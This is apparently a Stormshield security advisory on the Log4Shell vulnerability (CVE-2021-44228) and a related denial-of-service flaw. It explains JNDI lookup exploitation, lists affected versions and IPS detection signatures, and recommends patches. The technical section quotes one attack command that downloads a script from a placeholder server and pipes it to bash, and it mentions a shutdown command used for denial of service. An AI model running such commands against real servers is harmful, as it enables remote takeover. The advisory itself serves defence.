The discovery of the Zero-Day Log4Shell vulnerability was a bombshell in the run-up to the end of year season. Here's an update on a critical vulnerability, with the Stormshield Customer Security Lab team.
Context of the attack
The 9th of December, a RCE (remote Code Execution) Zero-Day vulnerability regarding the library log4j has been discovered by Chen Zhaojun. It is known today as Log4Shell, and the associated CVE number is CVE-2021-44228. This library is used in the Apache framework and its ecosystem. The exploit allows the attacker to take control remotely of the server, as a consequence, the impact is very high. That’s why the CVSS score is 10, which is the higher possible. We can also consider that this is a Supply Chain vulnerability.
This vulnerability is a big concern for the security community because, firstly, it is already exploited in the wild and secondly, updates of all concerned software may take a long time.
Some experts think it may need several years to update every impacted software.
A POC is available on GitHub since the 9 of December, it also shows technics to bypass Web Application Firewall.
Update of the 15/12/2021 about CVE-2021-45056: another JNDI module related vulnerability has been discovered which can lead to a denial of services. CVSS score is 3.7.
Technical details of the attack
The log4j library allows the generation of logs for Java applications. It has a feature called JNDI Lookup (Java Naming and Directory Interface) that automatically queries the LDAP server (or other JNDI-related server) when a specific request is made.
It is possible for an attacker to forge a log or a specific parameter, which, when browsed by the program, leads the JNDI function to perform a query on the attacker's server,
- or to request the execution of a command for example: curl -s SERVERIP:5874/[target IP]:8080||wget -q -O- SERVERIP:5874/[target IP]:8080)|bash
- or simply execute a shutdown now to perform a denial of service
- or to recover the malicious load and execute it on the target server
Here is a schema summarizing the exploitation of the vulnerability:
Impacted version
The concerned versions are Log4j between 2.0-beta9 and 2.14.1, where the "message lookup substitution" feature is enabled by default. From version 2.15, the functionality is disabled by default.
Update of the 15/12/2021 about CVE-2021-45056: 2.15.0 version is still vulnerable to a denial of service attack when using {ctx:} field.
Impacted software
As this is a vulnerability in a library that is widely embedded in "turnkey" tools, it is impossible to draw up a precise list of all vulnerable software; however big names such as Apple, Steam, Twitter and the Minecraft editor are known to be impacted.
For more details, this GitHub lists the exposure of various editors to this vulnerability.
Means of protection provided by Stormshield
Stormshield Network Security
Several IPS signatures have been published on SNS firewalls, allowing to detect and block attempts to write logs containing a JNDI instruction, which would be contained in an HTTP header or in the request body. They work by analyzing the HTTP traffic, which must be in clear text when inspected. If the flow is encrypted, the SSL proxy must be activated (outgoing flow), or else decryption must be done on another upstream device (incoming flow).
These signatures are:
- http:client:header.217 → Log4j2 RCE attempt using JNDI on HTTP header (CVE-2021-44228)
- http:client:data.160 → Log4j2 RCE attempt using JNDI on HTTP POST request (CVE-2021-44228)
Update of the 15/12/2021 about CVE-2021-45056: following Apache communication, two news signature have been published to protect agains this news CVE exploit :
- http:client:header.218 → DoS attempt on a Log4j2 service using malicious HTTP header (CVE-2021-45056)
- http:client:data.161 → DoS attempt on a Log4j2 service using malicious HTTP POST request (CVE-2021-45056)
Confidence index of the protection offered by Stormshield
Confidence index of no false positives
Stormshield Endpoint Security
SES solutions (7.2 and Evolution) being workstation and server protection solutions, they will not block the exploitation of this vulnerability directly. However, they will be able to prevent the payload from executing correctly and thus avoid any impact. The blocking will depend on the payload used.
Recommendation
The first recommendation is to update log4j to version 2.16.
If this is not possible, you have to remove the JndiLookup class: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Impact on Stormshield products
The impact study was conducted on the entire Stormshield product range, including SaaS services, so here is the result.
Only the SVC solution in version 1.6 is vulnerable. A workaround is available on our Advisories site.
